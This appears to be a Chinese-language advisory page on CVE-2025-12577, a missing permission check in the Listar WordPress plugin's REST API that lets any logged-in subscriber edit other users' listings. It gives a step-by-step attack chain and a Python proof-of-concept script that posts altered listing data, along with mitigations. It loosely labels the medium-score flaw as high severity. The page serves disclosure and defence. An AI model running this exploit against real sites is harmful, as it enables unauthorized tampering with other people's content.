IPBUF安全漏洞报告
English
CVE-2025-12577 CVSS 4.3 中危

CVE-2025-12577 WordPress Listar插件REST API未授权修改漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-12577
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Listar – Directory Listing & Classifieds WordPress Plugin

相关标签

CVE-2025-12577WordPress插件漏洞授权绕过REST API安全缺少权限检查ListarBroken Access ControlOWASP Top 10

漏洞概述

CVE-2025-12577是WordPress插件Listar – Directory Listing & Classifieds中的一个高危安全漏洞。该插件专为目录列表和分类信息管理设计,在3.0.0及之前所有版本中存在严重的授权缺陷。漏洞源于REST API端点'/wp-json/listar/v1/place/save'缺少正确的权限验证机制,允许任何具有Subscriber(订阅者)级别或更高权限的已认证用户无需额外授权即可修改 listings(列表)详情信息。攻击者可利用此漏洞篡改他人发布的商业目录信息、修改联系方式、替换图片内容或更新价格信息等,对网站运营和用户体验造成严重影响。作为一个典型的业务逻辑漏洞,其CVSS评分为4.3,属于中等严重程度,但考虑到实际利用的便捷性和对业务完整性的潜在影响,仍需及时修复。

技术细节

该漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别。Listar插件在注册REST API路由时,使用了register_rest_route()函数但未在回调函数中实施 capability check。具体问题在于:1) REST API端点'/wp-json/listar/v1/place/save'直接暴露在公网;2) 端点处理函数缺少current_user_can()或权限检查逻辑;3) 仅依赖WordPress的基本身份验证而非授权验证。攻击者只需拥有有效账号(最低订阅者权限),即可通过构造恶意POST请求修改任意listing记录。请求通常包含listing ID和修改后的字段数据(如title、description、price等),服务器在未验证当前用户是否为该listing所有者的前提下直接执行更新操作。修复方案是在REST API回调中添加current_user_can('edit_post', $post_id)检查,确保用户仅能修改自己拥有的内容。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和Listar插件,确认插件版本<=3.0.0
STEP 2
步骤2: 获取访问权限
攻击者注册一个普通订阅者账户或利用已有的低权限账户登录WordPress
STEP 3
步骤3: 获取API Nonce
通过正常页面访问或API请求获取WordPress REST API认证所需的nonce值
STEP 4
步骤4: 构造恶意请求
攻击者构造POST请求到/wp-json/listar/v1/place/save端点,包含目标listing ID和修改后的数据
STEP 5
步骤5: 执行未授权操作
服务器端点因缺少capability check,直接执行更新操作,成功修改他人listing信息
STEP 6
步骤6: 验证攻击结果
攻击者访问目标listing页面,确认内容已被篡改,完成攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12577 PoC - Listar WordPress Plugin Unauthorized Data Modification Target: WordPress site with Listar plugin <= 3.0.0 Author: Security Researcher Note: For authorized testing only """ import requests import json import sys def exploit_cve_2025_12577(target_url, username, password, listing_id): """ Exploit the missing capability check in Listar REST API endpoint. Args: target_url: Base URL of the WordPress site username: Valid WordPress username (subscriber level or higher) password: Password for the user listing_id: ID of the listing to modify """ session = requests.Session() # Step 1: Authenticate and get nonce auth_url = f"{target_url}/wp-login.php" auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In' } print(f"[*] Authenticating as {username}...") resp = session.post(auth_url, data=auth_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Get REST API nonce from the page nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=listar_nonce" nonce_resp = session.get(nonce_url) # Try to extract nonce from page source if available api_url = f"{target_url}/wp-json/listar/v1/place/save" # Step 3: Craft the malicious request to modify listing # The vulnerable endpoint lacks capability check exploit_data = { 'id': listing_id, 'title': 'MODIFIED BY CVE-2025-12577 PoC', 'description': 'This listing was modified by an unauthorized user', 'status': 'publish' } headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': 'extracted_nonce_here' # Replace with actual nonce } print(f"[*] Sending exploit request to {api_url}...") resp = session.post(api_url, json=exploit_data, headers=headers) if resp.status_code in [200, 201]: print("[+] Listing successfully modified!") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Exploit failed with status code: {resp.status_code}") print(f"[-] Response: {resp.text}") return False if __name__ == '__main__': if len(sys.argv) < 5: print("Usage: python cve-2025-12577.py <target_url> <username> <password> <listing_id>") print("Example: python cve-2025-12577.py http://example.com attacker password 123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lid = sys.argv[4] exploit_cve_2025_12577(target, user, pwd, lid)

影响范围

Listar WordPress Plugin <= 3.0.0

防御指南

临时缓解措施
在等待官方安全更新期间,可采取以下临时缓解措施:1) 限制新用户注册功能;2) 监控REST API端点的异常访问日志;3) 暂时禁用Listar插件的REST API功能(通过修改插件代码移除路由注册);4) 部署Web应用防火墙(WAF)规则限制对/wp-json/listar/*路径的访问;5) 对关键listing数据实施备份机制以便快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表